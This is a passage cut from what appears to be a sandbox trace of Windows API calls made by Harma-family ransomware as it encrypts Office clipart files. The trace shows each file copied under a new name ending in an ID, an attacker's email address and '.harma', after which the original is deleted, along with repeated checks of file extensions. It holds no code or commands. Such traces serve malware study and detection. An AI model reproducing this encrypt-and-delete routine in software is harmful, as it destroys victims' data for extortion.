dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.337] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0146.338] GetLastError () returned 0x0 [0146.338] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1870, lpOverlapped=0x0) returned 1 [0146.339] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1880, lpOverlapped=0x0) returned 1 [0146.340] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.340] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.341] SetEndOfFile (hFile=0x218) returned 1 [0146.341] CloseHandle (hObject=0x218) returned 1 [0146.341] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.341] SetEndOfFile (hFile=0x354) returned 1 [0146.344] CloseHandle (hObject=0x354) returned 1 [0146.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0146.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.345] lstrlenW (lpString=".doc") returned 4 [0146.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.345] lstrlenW (lpString=".docx") returned 5 [0146.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.345] lstrlenW (lpString=".pdf") returned 4 [0146.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.345] lstrlenW (lpString=".xls") returned 4 [0146.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.345] lstrlenW (lpString=".xlsx") returned 5 [0146.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.345] lstrlenW (lpString=".ppt") returned 4 [0146.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.345] lstrlenW (lpString=".zip") returned 4 [0146.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.345] lstrlenW (lpString=".rar") returned 4 [0146.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.345] lstrlenW (lpString=".bz2") returned 4 [0146.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.345] lstrlenW (lpString=".7z") returned 3 [0146.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.345] lstrlenW (lpString=".dbf") returned 4 [0146.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.345] lstrlenW (lpString=".1cd") returned 4 [0146.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.345] lstrlenW (lpString=".jpg") returned 4 [0146.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.346] lstrlenW (lpString=".doc") returned 4 [0146.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.346] lstrlenW (lpString=".docx") returned 5 [0146.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.346] lstrlenW (lpString=".pdf") returned 4 [0146.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.346] lstrlenW (lpString=".xls") returned 4 [0146.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.346] lstrlenW (lpString=".xlsx") returned 5 [0146.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.346] lstrlenW (lpString=".ppt") returned 4 [0146.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.346] lstrlenW (lpString=".zip") returned 4 [0146.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.346] lstrlenW (lpString=".rar") returned 4 [0146.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.346] lstrlenW (lpString=".bz2") returned 4 [0146.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.346] lstrlenW (lpString=".7z") returned 3 [0146.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.346] lstrlenW (lpString=".dbf") returned 4 [0146.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.346] lstrlenW (lpString=".1cd") returned 4 [0146.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0146.346] lstrlenW (lpString=".jpg") returned 4 [0146.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.347] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.347] lstrlenW (lpString="BL00932_.WMF") returned 12 [0146.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.347] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=19476) returned 1 [0146.347] CloseHandle (hObject=0x354) returned 1 [0146.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0146.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.348] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.348] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0146.348] GetLastError () returned 0x0 [0146.348] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x4c14, lpOverlapped=0x0) returned 1 [0146.350] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0146.351] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.351] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.351] SetEndOfFile (hFile=0x218) returned 1 [0146.352] CloseHandle (hObject=0x218) returned 1 [0146.352] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.352] SetEndOfFile (hFile=0x354) returned 1 [0146.354] CloseHandle (hObject=0x354) returned 1 [0146.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0146.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.356] lstrlenW (lpString=".doc") returned 4 [0146.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.356] lstrlenW (lpString=".docx") returned 5 [0146.356] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.356] lstrlenW (lpString=".pdf") returned 4 [0146.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.356] lstrlenW (lpString=".xls") returned 4 [0146.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.356] lstrlenW (lpString=".xlsx") returned 5 [0146.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.356] lstrlenW (lpString=".ppt") returned 4 [0146.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.356] lstrlenW (lpString=".zip") returned 4 [0146.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.356] lstrlenW (lpString=".rar") returned 4 [0146.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.356] lstrlenW (lpString=".bz2") returned 4 [0146.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.356] lstrlenW (lpString=".7z") returned 3 [0146.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.356] lstrlenW (lpString=".dbf") returned 4 [0146.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.356] lstrlenW (lpString=".1cd") returned 4 [0146.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.357] lstrlenW (lpString=".jpg") returned 4 [0146.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.357] lstrlenW (lpString=".doc") returned 4 [0146.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.357] lstrlenW (lpString=".docx") returned 5 [0146.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.357] lstrlenW (lpString=".pdf") returned 4 [0146.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.357] lstrlenW (lpString=".xls") returned 4 [0146.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.357] lstrlenW (lpString=".xlsx") returned 5 [0146.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.357] lstrlenW (lpString=".ppt") returned 4 [0146.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.357] lstrlenW (lpString=".zip") returned 4 [0146.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.357] lstrlenW (lpString=".rar") returned 4 [0146.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.357] lstrlenW (lpString=".bz2") returned 4 [0146.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.357] lstrlenW (lpString=".7z") returned 3 [0146.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.357] lstrlenW (lpString=".dbf") returned 4 [0146.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.357] lstrlenW (lpString=".1cd") returned 4 [0146.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0146.358] lstrlenW (lpString=".jpg") returned 4 [0146.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.358] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.358] lstrlenW (lpString="BL00985_.WMF") returned 12 [0146.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.358] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3768) returned 1 [0146.358] CloseHandle (hObject=0x354) returned 1 [0146.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0146.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.359] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.359] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0146.360] GetLastError () returned 0x0 [0146.360] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xeb8, lpOverlapped=0x0) returned 1 [0146.361] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec0, lpOverlapped=0x0) returned 1 [0146.362] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.362] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.362] SetEndOfFile (hFile=0x218) returned 1 [0146.363] CloseHandle (hObject=0x218) returned 1 [0146.363] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.363] SetEndOfFile (hFile=0x354) returned 1 [0146.365] CloseHandle (hObject=0x354) returned 1 [0146.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0146.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.366] lstrlenW (lpString=".doc") returned 4 [0146.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.366] lstrlenW (lpString=".docx") returned 5 [0146.366] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.366] lstrlenW (lpString=".pdf") returned 4 [0146.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.366] lstrlenW (lpString=".xls") returned 4 [0146.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.366] lstrlenW (lpString=".xlsx") returned 5 [0146.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.366] lstrlenW (lpString=".ppt") returned 4 [0146.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.366] lstrlenW (lpString=".zip") returned 4 [0146.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.366] lstrlenW (lpString=".rar") returned 4 [0146.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.366] lstrlenW (lpString=".bz2") returned 4 [0146.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.366] lstrlenW (lpString=".7z") returned 3 [0146.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.366] lstrlenW (lpString=".dbf") returned 4 [0146.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.367] lstrlenW (lpString=".1cd") returned 4 [0146.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.367] lstrlenW (lpString=".jpg") returned 4 [0146.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.367] lstrlenW (lpString=".doc") returned 4 [0146.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.367] lstrlenW (lpString=".docx") returned 5 [0146.367] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.367] lstrlenW (lpString=".pdf") returned 4 [0146.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.367] lstrlenW (lpString=".xls") returned 4 [0146.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.367] lstrlenW (lpString=".xlsx") returned 5 [0146.367] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.367] lstrlenW (lpString=".ppt") returned 4 [0146.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.367] lstrlenW (lpString=".zip") returned 4 [0146.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.367] lstrlenW (lpString=".rar") returned 4 [0146.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.367] lstrlenW (lpString=".bz2") returned 4 [0146.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.367] lstrlenW (lpString=".7z") returned 3 [0146.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.367] lstrlenW (lpString=".dbf") returned 4 [0146.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.368] lstrlenW (lpString=".1cd") returned 4 [0146.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0146.368] lstrlenW (lpString=".jpg") returned 4 [0146.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.368] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.368] lstrlenW (lpString="BOAT.WMF") returned 8 [0146.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.368] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3350) returned 1 [0146.368] CloseHandle (hObject=0x354) returned 1 [0146.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0146.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.369] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.369] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0146.369] GetLastError () returned 0x0 [0146.370] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, 